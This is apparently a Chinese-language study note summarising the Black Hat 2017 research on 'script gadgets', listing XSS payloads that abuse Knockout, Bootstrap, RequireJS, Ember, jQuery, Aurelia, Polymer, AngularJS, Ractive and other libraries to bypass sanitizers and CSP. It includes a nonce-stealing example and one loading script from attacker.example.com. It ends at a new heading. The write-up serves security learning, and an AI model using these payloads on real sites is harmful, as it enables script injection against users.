2023/11/30:更多的xss:Script Gadgets

来源于:blackhat2017:Breaking XSS mitigations via Script Gadgets

这是啥,干啥的

举个例子:

1
2
3
4
5
<div data-role="button" data-text="I am a button"></div>
<script>
var buttons = $("[data-role=button]");
buttons.html(button.getAttribute("data-text"));
</script>

<script>标签内的内容就是Script Gadgets

上面的代码在浏览器中的展示结果就是:

1
<div data-role="button" ...>I am a button</div>

假设有某种方法可以更改data-text内的内容,对其输入<script>alert(1)</script>,结果:

1
2
3
4
5
<div data-role="button" data-text="&lt;script&gt;alert(1)&lt;/script&gt;"></div>
<script>
var buttons = $("[data-role=button]");
buttons.html(button.getAttribute("data-text"));
</script>

在浏览器中的显示就是:

1
<div data-role="button" ...><script>alert(1)</script></div>

也就是说,Script Gadgets可以将安全的html标签和属性转换为任意js代码执行,假设这个网页存在注入html标签的可能,那么攻击者可能通过data-text="<script>"代替<script>进行攻击

JS库中的Script Gadgets

Knockout

这段代码:

1
<div data-bind="value:'hello world'"></div>

这个代码片段可以触发以下代码:

1
2
3
4
5
6
7
8
switch (node.nodeType){
case 1: return node.getAttribute("data-bind");
...
var rewrittenBindings = ko.expressionRewriting.preProcessBindings(binding, options),
functionBody = "with($context){with($data||{}){return{" + rewrittenBindings + "}}}";
return new Fuction("$context","$element",functionBody);
...
return bindingFuction(bindingContext,node);

这段代码生成了一个Script Gadgets,它使用eval()执行属性值

比如data-bind="value:foo"会使用eval("foo")的方式执行

为了进行xss,可以植入<div data-bind="value:alert(1)"></div>实现xss

Ajaxify

Ajaxify的Script Gadgets会将所有有 class=document-script属性的<div>标签转换为<script>标签,如果该网站有xss漏洞,则可以通过输入:

1
<div class="document-script">alert(1)</div>

进行xss攻击

Bootstrap

Bootstrap会将html属性值传递给innerHTML

1
<div data-toggle=tooltip data-html=true title='<script>alert(1)</script>'></div>

HTML sanitizers通常都会允许title属性,但在Bootstrap中和某些data属性一起使用时可能导致xss,如上例

data-toggle设置为了工具提示, data-html表示允许在提示框中使用 HTML 内容,title为提示框内容

Google Closure

Closure检测到自己的脚本URL,然后从相同位置加载子资源。通过注入其他HTML标签,有可能让Closure以为它们来自其他地方而加载它们:

1
2
3
<a id=CLOSURE_BASE_PATH href=data:/,1/alert(1)//></a>
<form id=CLOSURE_UNCOMPILED_DEFINES>
<input id=goog.ENABLE_CHROME_APP_SAFE_SCRIPT_LOADING></form>

RequireJS

RequireJS允许用户指定js文件的main模块,并且允许自定义数据类型,但XSS过滤器及其他措施对此不一定有反应

1
<script data-main='data:1,alert(1)' src='require.js'></script>

Ember(仅开发版本)

这是一个惰性的<script>

1
<script src=//i.am.an.invalid.self.closing.script.tag csp=ignores-me />

Ember会创建一个有效的副本并重新插入它。由于strict-dynamic CSP允许动态插入的<script>,可以用以下payload绕过:

1
2
3
<script type=text/x-handlebars>
<script src=//attacker.example.com// />
</script>

jQuery

jQuery的Script Gadgets可以包含<script>并重新插入,可以注入一个表单和一个输入元素,以混淆jQuery逻辑并重新插入我们的脚本

1
2
<form class="child">
<input name="ownerDocument"/><script>alert(1);</script></form>

Strict-dynamic CSP会阻止<script>执行,但是jQuery包含并重新插入,结果这个<script>就变成受信任可以执行的

jQuery Mobile

jQuery Mobile还有一个HTML注入点,其中“ID”属性的值被动态放入HTML注释中。通过简单地关闭注释,可以实现任意代码执行,并留下jQuery手动执行脚本。

1
<div data-role=popup id='--><script>"use strict"alert(1)</script>'></div>

其他

通过 Dojo Toolkit绕过 ModSecurity CRS

1
<div data-dojo-type="dijit/Declaration" data-dojo-props="}-alert(1)-{">

通过 underscore绕过 CSP 的 unsafe-eval

1
<div type=underscore/template> <% alert(1) %> </div>

表达式解析器中的Script Gadgets

Aurelia, Angular, Polymer, Ractive, Vue:

1.这些框架使用基于无 eval (non-eval)表达式的解析器。

2.它们自行进行标记、解析和评估表达式。

3.表达式被“编译”成 JavaScript。

4.在评估过程中(例如,绑定解析),这个解析的代码在:

​ 1.DOM 元素、属性

​ 2.原生对象、数组等。

5.具有足够复杂的表达式语言,我们可以运行任意的 JavaScript 代码。

6.例如:AngularJS沙箱绕过

以Aurelia为例:

Aurelia拥有自己的表达式语言,不为缓解措施(xss mitigations)所知。借助它,我们可以创建任意程序并调用本地函数。以下有效载荷将插入一个新的SCRIPT元素,其中包含我们的代码:

1
2
3
4
<div ref="me"
s.bind="$this.me.ownerDocument.createElement('script')"
data-bar="${$this.me.s.src='data:,alert(1)'}"
data-foobar="${$this.me.ownerDocument.body.appendChild($this.me.s)}"></div>

且相同的程序在Polymer 1.x中执行。我们覆盖了“私有”的_properties,以混淆框架:

1
2
3
4
5
6
7
8
<template is=dom-bind><div
five={{insert(me._nodes.0.scriptprop)}}
four="{{set('insert',me.root.ownerDocument.body.appendChild)}}"
three="{{set('me',nextSibling.previousSibling)}}"
two={{set('_nodes.0.scriptprop.src','data:\,alert(1)')}}
scriptprop={{_factory()}}
one={{set('_factoryArgs.0','script')}} >
</template>

例子:通过Polymer 1.x绕过白名单/nonced CSP

1
2
3
4
<template is=dom-bind><div
c={{alert('1',ownerDocument.defaultView)}}
b={{set('_rootDataHost',ownerDocument.defaultView)}}>
</div></template>

例子:通过AngularJS 1.6+绕过白名单/nonced CSP

1
<div ng-app ng-csp ng-focus="x=$event.view.window;x.alert(1)">

有时候,我们甚至可以构建CSP nonce的提取和重用:

例如:通过Ractive库窃取CSP nonces

1
2
3
4
5
6
7
<script id="template" type="text/ractive">
<iframe srcdoc="
<script nonce={{@global.document.currentScript.nonce}}>
alert(1337)
</{{}}script>">
</iframe>
</script>

总结:

1.我们查看了16种现在常见JS库的Script Gadgets:

​ AngularJS 1.x, Aurelia, Bootstrap, Closure, Dojo Toolkit, Emberjs, Knockout, Polymer 1.x, Ractive, React,

​ RequireJS, Underscore / Backbone, Vue.js, jQuery, jQuery Mobile, jQuery UI

2.结果表明,这些脚本小工具在上述情况中很普遍。

3.只有一个库没有一个有用的小工具。

4.我们发现的小工具在绕过XSS防御方面非常有效。

注意事项:

1.对于比较缓解措施:

​ 1.在此只评估一个方面:通过Script Gadgets进行绕过的可行性。

​ 2.忽略了部署成本、性能、可更新性、对常规XSS的容忍度等因素。

2.对于比较框架:

​ 1.类似地,在此只评估可利用的 gadget chain 的存在,而不考虑其他因素

3.对于默认设置

​ 1.有时更改设置会禁用一些Script Gadgets

​ 2.例子:DOMPurify SAFE_FOR_TEMPLATES

4.在某些情况下,用户空间代码是必要的

​ 1.这样的代码在现实世界的应用程序中是合理存在的,例如:jQuery after()

用户空间代码中的Script Gadgets